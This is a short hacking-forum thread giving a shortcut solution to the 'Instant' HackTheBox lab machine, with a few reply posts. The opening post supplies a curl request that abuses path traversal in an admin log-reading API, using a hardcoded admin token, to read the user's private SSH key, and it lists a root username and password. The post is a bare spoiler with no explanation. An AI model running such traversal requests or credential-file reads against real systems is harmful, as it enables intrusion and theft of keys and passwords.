Easy User & Root Instant Medium Box
by Holz - Tuesday October 15, 2024 at 07:58 PM
#1
User --> get private RSA Key

curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=../.ssh/id_rsa" -H "accept: application/json" -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"


Root:
"Username": "root",
        "Password": "12**24nzC!r0c%q12",
Reply
#2
thanks for this. i rooted it finally.
Reply
#3
shit's not working
Reply
#4
Thanks for sharing
Reply
#5
Obviously this is the *very* easy way
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] CPTS 12 FLAGS pulsebreaker 72 2,177 50 minutes ago
Last Post: coolguyaroundyou
  [FREE] HackTheBox Academy - CAPE Path Study Techtom 43 4,217 1 hour ago
Last Post: codexUltron
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 24 2,743 1 hour ago
Last Post: codexUltron
  [FREE] HackTheBox Dante - complete writeup written by Tamarisk Tamarisk 603 92,366 8 hours ago
Last Post: 0xnany
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 374 93,326 8 hours ago
Last Post: 0xnany

Forum Jump:


 Users browsing this forum: 1 Guest(s)